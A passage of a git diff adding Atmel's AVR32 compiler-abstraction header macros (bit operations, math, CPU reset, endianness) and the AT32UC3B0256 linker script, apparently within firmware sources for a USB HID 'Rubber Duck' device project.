((lvalue) |= (mask)) + +/*! \brief Toggles the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to toggle bits. + * \param mask Bit-mask indicating bits to toggle. + * + * \return Resulting value with toggled bits. + */ +#define Tgl_bits(lvalue, mask) ((lvalue) ^= (mask)) + +/*! \brief Reads the bit-field of a value specified by a given bit-mask. + * + * \param value Value to read a bit-field from. + * \param mask Bit-mask indicating the bit-field to read. + * + * \return Read bit-field. + */ +#define Rd_bitfield( value, mask) (Rd_bits( value, mask) >> ctz(mask)) + +/*! \brief Writes the bit-field of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write a bit-field to. + * \param mask Bit-mask indicating the bit-field to write. + * \param bitfield Bit-field to write. + * + * \return Resulting value with written bit-field. + */ +#define Wr_bitfield(lvalue, mask, bitfield) (Wr_bits(lvalue, mask, (U32)(bitfield) << ctz(mask))) + +//! @} + + +/*! \brief This macro makes the CPU take a small break for a few cycles. This should + * be used when waiting for an event. It will reduce the internal bus load. + * + * "sub pc, pc, -4" (or "sub pc, -2") forces the IF stage to wait until the result + * of the calculation before it can fetch the next instruction. This makes sure + * there are nothing stuck in the LS pipe when you start a new iteration and guarante + * to flush the pipeline without having any other effect. + * (A nop doesn't have any effect on the IF stage.) + */ +#if (defined __GNUC__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4" ::: "memory", "cc") +#elif (defined __ICCAVR32__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4") +#endif + + +/*! \brief This macro is used to test fatal errors. + * + * The macro tests if the expression is FALSE. If it is, a fatal error is + * detected and the application hangs up. + * + * \param expr Expression to evaluate and supposed to be nonzero. + */ +#ifdef _ASSERT_ENABLE_ + #define Assert(expr) \ + {\ + if (!(expr)) while (TRUE);\ + } +#else + #define Assert(expr) +#endif + + +/*! \name Zero-Bit Counting + * + * Under AVR32-GCC, __builtin_clz and __builtin_ctz behave like macros when + * applied to constant expressions (values known at compile time), so they are + * more optimized than the use of the corresponding assembly instructions and + * they can be used as constant expressions e.g. to initialize objects having + * static storage duration, and like the corresponding assembly instructions + * when applied to non-constant expressions (values unknown at compile time), so + * they are more optimized than an assembly periphrasis. Hence, clz and ctz + * ensure a possible and optimized behavior for both constant and non-constant + * expressions. + */ +//! @{ + +/*! \brief Counts the leading zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the leading zero bits. + * + * \return The count of leading zero bits in \a u. + */ +#if (defined __GNUC__) + #define clz(u) __builtin_clz(u) +#elif (defined __ICCAVR32__) + #if (__VER__ == 330) && (__SUBVERSION__ <= 1) + // __count_leading_zeros is broken and returns a value which is offset by + // -32 when called with a constant parameter. + #define clz(v) (0 == v ? 32 : (31 & __count_leading_zeros(v))) + #else + #define clz(v) __count_leading_zeros(v) + #endif +#endif + +/*! \brief Counts the trailing zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the trailing zero bits. + * + * \return The count of trailing zero bits in \a u. + */ +#if (defined __GNUC__) + #define ctz(u) __builtin_ctz(u) +#elif (defined __ICCAVR32__) + #define ctz(u) __count_trailing_zeros(u) +#endif + +//! @} + +//! \name Logarithmic functions +//! @{ + +/** + * \internal + * Undefined function. Will cause a link failure if ilog2() is called + * with an invalid constant value. + */ +int_fast8_t ilog2_undefined(void); + +/** + * \brief Calculate the base-2 logarithm of a number rounded down to + * the nearest integer. + * + * \param x A 32-bit value + * \return The base-2 logarithm of \a x, or -1 if \a x is 0. + */ +static inline int_fast8_t ilog2(uint32_t x) +{ + if (is_constant(x)) + return ((x) & (1ULL << 31) ? 31 : + (x) & (1ULL << 30) ? 30 : + (x) & (1ULL << 29) ? 29 : + (x) & (1ULL << 28) ? 28 : + (x) & (1ULL << 27) ? 27 : + (x) & (1ULL << 26) ? 26 : + (x) & (1ULL << 25) ? 25 : + (x) & (1ULL << 24) ? 24 : + (x) & (1ULL << 23) ? 23 : + (x) & (1ULL << 22) ? 22 : + (x) & (1ULL << 21) ? 21 : + (x) & (1ULL << 20) ? 20 : + (x) & (1ULL << 19) ? 19 : + (x) & (1ULL << 18) ? 18 : + (x) & (1ULL << 17) ? 17 : + (x) & (1ULL << 16) ? 16 : + (x) & (1ULL << 15) ? 15 : + (x) & (1ULL << 14) ? 14 : + (x) & (1ULL << 13) ? 13 : + (x) & (1ULL << 12) ? 12 : + (x) & (1ULL << 11) ? 11 : + (x) & (1ULL << 10) ? 10 : + (x) & (1ULL << 9) ? 9 : + (x) & (1ULL << 8) ? 8 : + (x) & (1ULL << 7) ? 7 : + (x) & (1ULL << 6) ? 6 : + (x) & (1ULL << 5) ? 5 : + (x) & (1ULL << 4) ? 4 : + (x) & (1ULL << 3) ? 3 : + (x) & (1ULL << 2) ? 2 : + (x) & (1ULL << 1) ? 1 : + (x) & (1ULL << 0) ? 0 : + ilog2_undefined()); + + return 31 - clz(x); +} + +//! @} + +/*! \name Bit Reversing + */ +//! @{ + +/*! \brief Reverses the bits of \a u8. + * + * \param u8 U8 of which to reverse the bits. + * + * \return Value resulting from \a u8 with reversed bits. + */ +#define bit_reverse8(u8) ((U8)(bit_reverse32((U8)(u8)) >> 24)) + +/*! \brief Reverses the bits of \a u16. + * + * \param u16 U16 of which to reverse the bits. + * + * \return Value resulting from \a u16 with reversed bits. + */ +#define bit_reverse16(u16) ((U16)(bit_reverse32((U16)(u16)) >> 16)) + +/*! \brief Reverses the bits of \a u32. + * + * \param u32 U32 of which to reverse the bits. + * + * \return Value resulting from \a u32 with reversed bits. + */ +#if (defined __GNUC__) + #define bit_reverse32(u32) \ + (\ + {\ + unsigned int __value = (U32)(u32);\ + __asm__ ("brev\t%0" : "+r" (__value) : : "cc");\ + (U32)__value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define bit_reverse32(u32) ((U32)__bit_reverse((U32)(u32))) +#endif + +/*! \brief Reverses the bits of \a u64. + * + * \param u64 U64 of which to reverse the bits. + * + * \return Value resulting from \a u64 with reversed bits. + */ +#define bit_reverse64(u64) ((U64)(((U64)bit_reverse32((U64)(u64) >> 32)) |\ + ((U64)bit_reverse32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Alignment + */ +//! @{ + +/*! \brief Tests alignment of the number \a val with the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return \c 1 if the number \a val is aligned with the \a n boundary, else \c 0. + */ +#define Test_align(val, n ) (!Tst_bits( val, (n) - 1 ) ) + +/*! \brief Gets alignment of the number \a val with respect to the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Alignment of the number \a val with respect to the \a n boundary. + */ +#define Get_align( val, n ) ( Rd_bits( val, (n) - 1 ) ) + +/*! \brief Sets alignment of the lvalue number \a lval to \a alg with respect to the \a n boundary. + * + * \param lval Input/output lvalue. + * \param n Boundary. + * \param alg Alignment. + * + * \return New value of \a lval resulting from its alignment set to \a alg with respect to the \a n boundary. + */ +#define Set_align(lval, n, alg) ( Wr_bits(lval, (n) - 1, alg) ) + +/*! \brief Aligns the number \a val with the upper \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the upper \a n boundary. + */ +#define Align_up( val, n ) (((val) + ((n) - 1)) & ~((n) - 1)) + +/*! \brief Aligns the number \a val with the lower \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the lower \a n boundary. + */ +#define Align_down(val, n ) ( (val) & ~((n) - 1)) + +//! @} + + +/*! \name Mathematics + * + * The same considerations as for clz and ctz apply here but AVR32-GCC does not + * provide built-in functions to access the assembly instructions abs, min and + * max and it does not produce them by itself in most cases, so two sets of + * macros are defined here: + * - Abs, Min and Max to apply to constant expressions (values known at + * compile time); + * - abs, min and max to apply to non-constant expressions (values unknown at + * compile time). + */ +//! @{ + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values known at compile time. + */ +#define Abs(a) (((a) < 0 ) ? -(a) : (a)) + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Min(a, b) (((a) < (b)) ? (a) : (b)) + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Max(a, b) (((a) > (b)) ? (a) : (b)) + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define abs(a) \ + (\ + {\ + int __value = (a);\ + __asm__ ("abs\t%0" : "+r" (__value) : : "cc");\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define abs(a) Abs(a) +#endif + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define min(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("min\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define min(a, b) __min(a, b) +#endif + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define max(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("max\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define max(a, b) __max(a, b) +#endif + +//! @} + + +/*! \brief Calls the routine at address \a addr. + * + * It generates a long call opcode. + * + * For example, `Long_call(0x80000000)' generates a software reset on a UC3 if + * it is invoked from the CPU supervisor mode. + * + * \param addr Address of the routine to call. + * + * \note It may be used as a long jump opcode in some special cases. + */ +#define Long_call(addr) ((*(void (*)(void))(addr))()) + +/*! \brief Resets the CPU by software. + * + * \warning It shall not be called from the CPU application mode. + */ +#if (defined __GNUC__) + #define Reset_CPU() \ + (\ + {\ + __asm__ __volatile__ (\ + "lddpc r9, 3f\n\t"\ + "mfsr r8, %[SR]\n\t"\ + "bfextu r8, r8, %[SR_M_OFFSET], %[SR_M_SIZE]\n\t"\ + "cp.w r8, 0b001\n\t"\ + "breq 0f\n\t"\ + "sub r8, pc, $ - 1f\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n"\ + "0:\n\t"\ + "mtsr %[SR], r9\n"\ + "1:\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "lddpc pc, 2f\n\t"\ + ".balign 4\n"\ + "2:\n\t"\ + ".word _start\n"\ + "3:\n\t"\ + ".word %[RESET_SR]"\ + :\ + : [SR] "i" (AVR32_SR),\ + [SR_M_OFFSET] "i" (AVR32_SR_M_OFFSET),\ + [SR_M_SIZE] "i" (AVR32_SR_M_SIZE),\ + [RESET_SR] "i" (AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))\ + );\ + }\ + ) +#elif (defined __ICCAVR32__) + #define Reset_CPU() \ + {\ + extern void *volatile __program_start;\ + __asm__ __volatile__ (\ + "mov r7, LWRD(__program_start)\n\t"\ + "orh r7, HWRD(__program_start)\n\t"\ + "mov r9, LWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "orh r9, HWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "mfsr r8, "ASTRINGZ(AVR32_SR)"\n\t"\ + "bfextu r8, r8, "ASTRINGZ(AVR32_SR_M_OFFSET)", "ASTRINGZ(AVR32_SR_M_SIZE)"\n\t"\ + "cp.w r8, 001b\n\t"\ + "breq $ + 10\n\t"\ + "sub r8, pc, -12\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n\t"\ + "mtsr "ASTRINGZ(AVR32_SR)", r9\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "st.w r0[4], r7\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "ld.w pc, lr[4]"\ + );\ + __program_start;\ + } +#endif + + + +/*! \name CPU Status Register Access + */ +//! @{ + +/*! \brief Tells whether exceptions are globally enabled. + * + * \return \c 1 if exceptions are globally enabled, else \c 0. + */ +#define Is_global_exception_enabled() (!Tst_bits(Get_system_register(AVR32_SR), AVR32_SR_EM_MASK)) + +/*! \brief Disables exceptions globally. + */ +#if (defined __GNUC__) + #define Disable_global_exception() ({__asm__ __volatile__ ("ssrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Disable_global_exception() (__set_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +/*! \brief Enables exceptions globally. + */ +#if (defined __GNUC__) + #define Enable_global_exception() ({__asm__ __volatile__ ("csrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Enable_global_exception() (__clear_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +//! @} + + +/*! \name Debug Register Access + */ +//! @{ + +/*! \brief Gets the value of the \a dbgreg debug register. + * + * \param dbgreg Address of the debug register of which to get the value. + * + * \return Value of the \a dbgreg debug register. + */ +#if (defined __GNUC__) + #define Get_debug_register(dbgreg) __builtin_mfdr(dbgreg) +#elif (defined __ICCAVR32__) + #define Get_debug_register(dbgreg) __get_debug_register(dbgreg) +#endif + +/*! \brief Sets the value of the \a dbgreg debug register to \a value. + * + * \param dbgreg Address of the debug register of which to set the value. + * \param value Value to set the \a dbgreg debug register to. + */ +#if (defined __GNUC__) + #define Set_debug_register(dbgreg, value) __builtin_mtdr(dbgreg, value) +#elif (defined __ICCAVR32__) + #define Set_debug_register(dbgreg, value) __set_debug_register(dbgreg, value) +#endif + +//! @} + + +/*! \name Force Assembly Inline Code Section + */ +//! @{ +#if (defined __GNUC__) +#define __always_inline __attribute__((__always_inline__)) +#elif (defined __ICCAVR32__) +#define __always_inline _Pragma("inline=forced") +#endif +//! @} + +/*! \name MCU Endianism Handling + * AVR32 is MCU big endianism. + */ +//! @{ +#define MSB(u16) (((U8 *)&(u16))[0]) //!< Most significant byte of \a u16. +#define LSB(u16) (((U8 *)&(u16))[1]) //!< Least significant byte of \a u16. + +#define MSH(u32) (((U16 *)&(u32))[0]) //!< Most significant half-word of \a u32. +#define LSH(u32) (((U16 *)&(u32))[1]) //!< Least significant half-word of \a u32. +#define MSB0W(u32) (((U8 *)&(u32))[0]) //!< Most significant byte of 1st rank of \a u32. +#define MSB1W(u32) (((U8 *)&(u32))[1]) //!< Most significant byte of 2nd rank of \a u32. +#define MSB2W(u32) (((U8 *)&(u32))[2]) //!< Most significant byte of 3rd rank of \a u32. +#define MSB3W(u32) (((U8 *)&(u32))[3]) //!< Most significant byte of 4th rank of \a u32. +#define LSB3W(u32) MSB0W(u32) //!< Least significant byte of 4th rank of \a u32. +#define LSB2W(u32) MSB1W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB1W(u32) MSB2W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB0W(u32) MSB3W(u32) //!< Least significant byte of 1st rank of \a u32. + +#define MSW(u64) (((U32 *)&(u64))[0]) //!< Most significant word of \a u64. +#define LSW(u64) (((U32 *)&(u64))[1]) //!< Least significant word of \a u64. +#define MSH0(u64) (((U16 *)&(u64))[0]) //!< Most significant half-word of 1st rank of \a u64. +#define MSH1(u64) (((U16 *)&(u64))[1]) //!< Most significant half-word of 2nd rank of \a u64. +#define MSH2(u64) (((U16 *)&(u64))[2]) //!< Most significant half-word of 3rd rank of \a u64. +#define MSH3(u64) (((U16 *)&(u64))[3]) //!< Most significant half-word of 4th rank of \a u64. +#define LSH3(u64) MSH0(u64) //!< Least significant half-word of 4th rank of \a u64. +#define LSH2(u64) MSH1(u64) //!< Least significant half-word of 3rd rank of \a u64. +#define LSH1(u64) MSH2(u64) //!< Least significant half-word of 2nd rank of \a u64. +#define LSH0(u64) MSH3(u64) //!< Least significant half-word of 1st rank of \a u64. +#define MSB0D(u64) (((U8 *)&(u64))[0]) //!< Most significant byte of 1st rank of \a u64. +#define MSB1D(u64) (((U8 *)&(u64))[1]) //!< Most significant byte of 2nd rank of \a u64. +#define MSB2D(u64) (((U8 *)&(u64))[2]) //!< Most significant byte of 3rd rank of \a u64. +#define MSB3D(u64) (((U8 *)&(u64))[3]) //!< Most significant byte of 4th rank of \a u64. +#define MSB4D(u64) (((U8 *)&(u64))[4]) //!< Most significant byte of 5th rank of \a u64. +#define MSB5D(u64) (((U8 *)&(u64))[5]) //!< Most significant byte of 6th rank of \a u64. +#define MSB6D(u64) (((U8 *)&(u64))[6]) //!< Most significant byte of 7th rank of \a u64. +#define MSB7D(u64) (((U8 *)&(u64))[7]) //!< Most significant byte of 8th rank of \a u64. +#define LSB7D(u64) MSB0D(u64) //!< Least significant byte of 8th rank of \a u64. +#define LSB6D(u64) MSB1D(u64) //!< Least significant byte of 7th rank of \a u64. +#define LSB5D(u64) MSB2D(u64) //!< Least significant byte of 6th rank of \a u64. +#define LSB4D(u64) MSB3D(u64) //!< Least significant byte of 5th rank of \a u64. +#define LSB3D(u64) MSB4D(u64) //!< Least significant byte of 4th rank of \a u64. +#define LSB2D(u64) MSB5D(u64) //!< Least significant byte of 3rd rank of \a u64. +#define LSB1D(u64) MSB6D(u64) //!< Least significant byte of 2nd rank of \a u64. +#define LSB0D(u64) MSB7D(u64) //!< Least significant byte of 1st rank of \a u64. + +#define LE16(x) Swap16(x) +#define le16_to_cpu(x) swap16(x) +#define cpu_to_le16(x) swap16(x) +#define LE16_TO_CPU(x) Swap16(x) +#define CPU_TO_LE16(x) Swap16(x) + +#define be16_to_cpu(x) (x) +#define cpu_to_be16(x) (x) +#define BE16_TO_CPU(x) (x) +#define CPU_TO_BE16(x) (x) + +#define le32_to_cpu(x) swap32(x) +#define cpu_to_le32(x) swap32(x) +#define LE32_TO_CPU(x) Swap32(x) +#define CPU_TO_LE32(x) Swap32(x) + +#define be32_to_cpu(x) (x) +#define cpu_to_be32(x) (x) +#define BE32_TO_CPU(x) (x) +#define CPU_TO_BE32(x) (x) +//! @} + + +/*! \name Endianism Conversion + * + * The same considerations as for clz and ctz apply here but AVR32-GCC's + * __builtin_bswap_16 and __builtin_bswap_32 do not behave like macros when + * applied to constant expressions, so two sets of macros are defined here: + * - Swap16, Swap32 and Swap64 to apply to constant expressions (values known + * at compile time); + * - swap16, swap32 and swap64 to apply to non-constant expressions (values + * unknown at compile time). + */ +//! @{ + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap16(u16) ((U16)(((U16)(u16) >> 8) |\ + ((U16)(u16) << 8))) + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap32(u32) ((U32)(((U32)Swap16((U32)(u32) >> 16)) |\ + ((U32)Swap16((U32)(u32)) << 16))) + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap64(u64) ((U64)(((U64)Swap32((U64)(u64) >> 32)) |\ + ((U64)Swap32((U64)(u64)) << 32))) + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) +# if (!defined __OPTIMIZE_SIZE__) || !__OPTIMIZE_SIZE__ + #define swap16(u16) ((U16)__builtin_bswap_16((U16)(u16))) +# else + // swap_16 must be not used when GCC's -Os command option is used + #define swap16(u16) Swap16(u16) +# endif +#elif (defined __ICCAVR32__) + #define swap16(u16) ((U16)__swap_bytes_in_halfwords((U16)(u16))) +#endif + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define swap32(u32) ((U32)__builtin_bswap_32((U32)(u32))) +#elif (defined __ICCAVR32__) + #define swap32(u32) ((U32)__swap_bytes((U32)(u32))) +#endif + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#define swap64(u64) ((U64)(((U64)swap32((U64)(u64) >> 32)) |\ + ((U64)swap32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Target Abstraction + */ +//! @{ + +#define _GLOBEXT_ extern //!< extern storage-class specifier. +#define _CONST_TYPE_ const //!< const type qualifier. +#define _MEM_TYPE_SLOW_ //!< Slow memory type. +#define _MEM_TYPE_MEDFAST_ //!< Fairly fast memory type. +#define _MEM_TYPE_FAST_ //!< Fast memory type. + +typedef U8 Byte; //!< 8-bit unsigned integer. + +#define memcmp_ram2ram memcmp //!< Target-specific memcmp of RAM to RAM. +#define memcmp_code2ram memcmp //!< Target-specific memcmp of RAM to NVRAM. +#define memcpy_ram2ram memcpy //!< Target-specific memcpy from RAM to RAM. +#define memcpy_code2ram memcpy //!< Target-specific memcpy from NVRAM to RAM. + +#define LSB0(u32) LSB0W(u32) //!< Least significant byte of 1st rank of \a u32. +#define LSB1(u32) LSB1W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB2(u32) LSB2W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB3(u32) LSB3W(u32) //!< Least significant byte of 4th rank of \a u32. +#define MSB3(u32) MSB3W(u32) //!< Most significant byte of 4th rank of \a u32. +#define MSB2(u32) MSB2W(u32) //!< Most significant byte of 3rd rank of \a u32. +#define MSB1(u32) MSB1W(u32) //!< Most significant byte of 2nd rank of \a u32. +#define MSB0(u32) MSB0W(u32) //!< Most significant byte of 1st rank of \a u32. + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _COMPILER_AVR32_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds new file mode 100755 index 0000000..6597b59 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds @@ -0,0 +1,266 @@ +/****************************************************************************** + * AVR32 AT32UC3B0256 GNU LD script file. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: AVR32 AT32UC3B0256 + * + * - author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +OUTPUT_FORMAT("elf32-avr32", "elf32-avr32", "elf32-avr32") + +OUTPUT_ARCH(avr32:uc) + +ENTRY(_trampoline) + +MEMORY +{ + FLASH (rxai!w) : ORIGIN = 0x80000000, LENGTH = 0x00040000 + INTRAM (wxa!ri) : ORIGIN = 0x00000004, LENGTH = 0x00007FFC + USERPAGE : ORIGIN = 0x80800000, LENGTH = 0x00000200 +} + +PHDRS +{ + FLASH PT_LOAD; + INTRAM_ALIGN PT_NULL; + INTRAM_AT_FLASH PT_LOAD; + INTRAM PT_NULL; + USERPAGE PT_LOAD; +} + +SECTIONS +{ + /* If this heap size is selected, all the INTRAM space from the end of the + data area to the beginning of the stack will be allocated for the heap. */ + __max_heap_size__ = -1; + + /* Use a default heap size if heap size was not defined. */ + __heap_size__ = DEFINED(__heap_size__) ? __heap_size__ : __max_heap_size__; + + /* Use a default stack size if stack size was not defined. */ + __stack_size__ = DEFINED(__stack_size__) ? __stack_size__ : 4K; + + /* Read-only sections, merged into text segment: */ + PROVIDE (__executable_start = 0x80000000); . = 0x80000000; + .interp : { *(.interp) } >FLASH AT>FLASH :FLASH + .reset : { *(.reset) } >FLASH AT>FLASH :FLASH + .hash : { *(.hash) } >FLASH AT>FLASH :FLASH + .dynsym : { *(.dynsym) } >FLASH AT>FLASH :FLASH + .dynstr : { *(.dynstr) } >FLASH AT>FLASH :FLASH + .gnu.version : { *(.gnu.version) } >FLASH AT>FLASH :FLASH + .gnu.version_d : { *(.gnu.version_d) } >FLASH AT>FLASH :FLASH + .gnu.version_r : { *(.gnu.version_r) } >FLASH AT>FLASH :FLASH + .rel.init : { *(.rel.init) } >FLASH AT>FLASH :FLASH + .rela.init : { *(.rela.init) } >FLASH AT>FLASH :FLASH + .rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rel.fini : { *(.rel.fini) } >FLASH AT>FLASH :FLASH + .rela.fini : { *(.rela.fini) } >FLASH AT>FLASH :FLASH + .rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rel.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rela.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rel.ctors : { *(.rel.ctors) } >FLASH AT>FLASH :FLASH + .rela.ctors : { *(.rela.ctors) } >FLASH AT>FLASH :FLASH + .rel.dtors : { *(.rel.dtors) } >FLASH AT>FLASH :FLASH + .rela.dtors : { *(.rela.dtors) } >FLASH AT>FLASH :FLASH + .rel.got : { *(.rel.got) } >FLASH 